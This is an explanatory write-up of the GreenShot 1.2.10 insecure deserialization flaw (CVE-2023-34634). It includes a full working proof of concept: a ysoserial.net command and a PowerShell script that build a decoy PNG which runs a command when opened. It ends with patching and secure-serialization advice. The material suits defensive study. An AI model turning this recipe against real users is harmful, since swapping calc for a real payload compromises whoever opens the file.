GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution

GreenShot 1.2.10 Insecure Deserialization Vulnerability: A Deep Dive into Arbitrary Code Execution

On July 26, 2023, a critical security flaw was disclosed in GreenShot 1.2.10 and earlier versions, exposing users to a severe risk of arbitrary code execution via insecure deserialization. The vulnerability, formally assigned CVE-2023-34634, stems from the software’s handling of its proprietary .greenshot file format, which uses BinaryFormatter — a known dangerous serialization mechanism in .NET applications.

Understanding Insecure Deserialization

Insecure deserialization occurs when an application unmarshals (reconstructs) data from a serialized format without proper validation or type checking. This can allow attackers to inject malicious payloads that, upon deserialization, trigger unintended behavior — including remote code execution.

GreenShot, a popular screenshot tool for Windows, allows users to save captured images in a custom .greenshot format. This format stores metadata, including user preferences, annotations, and image data. However, the underlying implementation uses BinaryFormatter to serialize complex objects — a method that has long been flagged as unsafe due to its ability to execute arbitrary code when deserializing malicious data.

Exploitation Mechanism: From PNG to Payload

Attackers leverage a technique known as file format manipulation to exploit this vulnerability. The key insight is that GreenShot uses a custom file header structure, allowing malicious data to be appended to a seemingly benign file (like a PNG image) and executed upon opening.

Here’s how the exploit works:

• The attacker crafts a malicious .greenshot payload using ysoserial.net, a tool designed to generate serialized payloads for .NET applications.
• Using ysoserial.exe, the attacker generates a payload that, when deserialized, executes a command like calc.exe (the Windows calculator).
• The payload is embedded into a PNG file with a custom header, mimicking the expected format of GreenShot files.
• When a user double-clicks the malicious file (due to default file association), GreenShot opens it, deserializes the payload, and executes the command.

Step-by-Step Exploit Creation

./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" --outputpath payload.bin -o raw

This command generates a serialized binary payload using the WindowsIdentity gadget, which triggers code execution when deserialized. The -f BinaryFormatter specifies the serialization format, -g WindowsIdentity selects a known exploit chain, and -c "calc" defines the command to execute.

The payload is then embedded into a PNG file with custom headers. The following PowerShell script creates a valid-looking PNG file and appends the malicious data:

$payload = Get-Content .\payload.bin -Encoding Byte
$length = $payload.Length
Add-Type -AssemblyName System.Drawing
$filename = "$home\poc.greenshot"
$bmp = new-object System.Drawing.Bitmap 250,61 
$font = new-object System.Drawing.Font Consolas,24 
$brushBg = [System.Drawing.Brushes]::Green 
$brushFg = [System.Drawing.Brushes]::Black 
$graphics = [System.Drawing.Graphics]::FromImage($bmp) 
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) 
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10) 
$graphics.Dispose() 
$bmp.Save($filename) 
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline 
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding Byte -NoNewline 
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii
Invoke-Item $filename

Explanation:

• $payload reads the serialized malicious data as bytes.
• $length determines the size of the payload, which is crucial for proper parsing.
• Add-Type -AssemblyName System.Drawing loads the .NET drawing library to create a visual PNG.
• The Bitmap and Graphics objects create a green background with the text POC Greenshot.
• $payload | Add-Content appends the malicious serialized data to the file.
• [System.BitConverter]::GetBytes([long]$length) writes the payload length as a 64-bit integer.
• "Greenshot01.02" is the signature expected by GreenShot, ensuring the file is recognized as valid.
• Invoke-Item opens the file, triggering deserialization and execution of calc.exe.

Why This Is Dangerous

Despite the seemingly harmless nature of a screenshot tool, GreenShot’s default file association with .greenshot means that any user who double-clicks a malicious file is at risk — even if they don’t know what they’re opening.

This vulnerability exemplifies a common flaw in software design: assumption of trust in file formats. The application treats any .greenshot file as valid and safe, without verifying the integrity of the serialized content.

Real-World Impact and Mitigation

Attack Vector	Exploit Scenario	Defense Strategy
Malicious file delivery	Email attachment, USB drive, phishing link	Disable file associations, use file validation
Remote code execution	Execute calc.exe, cmd.exe, or reverse shell	Update to version 1.2.11 or later
Privilege escalation	Use WindowsIdentity gadget to escalate privileges	Disable BinaryFormatter usage in applications

Security experts recommend:

• Immediate updates: Users should upgrade to GreenShot 1.2.11 or newer, where the insecure deserialization issue has been patched.
• Disable file associations: Prevent .greenshot from automatically opening with GreenShot, forcing users to manually select the application.
• Use sandboxing: Open suspicious files in isolated environments to prevent unintended execution.
• Monitor file behavior: Use endpoint detection and response (EDR) tools to detect abnormal process launches like calc.exe triggered from unexpected sources.

Broader Implications for .NET Developers

This exploit highlights a critical lesson for developers: BinaryFormatter should be avoided in production applications. It is inherently unsafe due to its ability to execute arbitrary code during deserialization.

Modern alternatives include:

• JSON or XML serialization with strict schema validation.
• Protobuf for efficient and secure binary data.
• Custom serialization with whitelisted types and no dynamic code execution.

Using BinaryFormatter without proper safeguards is a recipe for disaster. Developers must audit their code for any use of BinaryFormatter — especially in applications that handle user-provided data.

Conclusion

The GreenShot 1.2.10 vulnerability serves as a stark reminder that even seemingly benign applications can become attack vectors. Insecure deserialization is not just a theoretical risk — it’s a proven exploit path used in real-world attacks.

By understanding the mechanics of this exploit, developers and security professionals can proactively defend against similar flaws. The key takeaway: never trust user data without validation, especially when it involves serialization.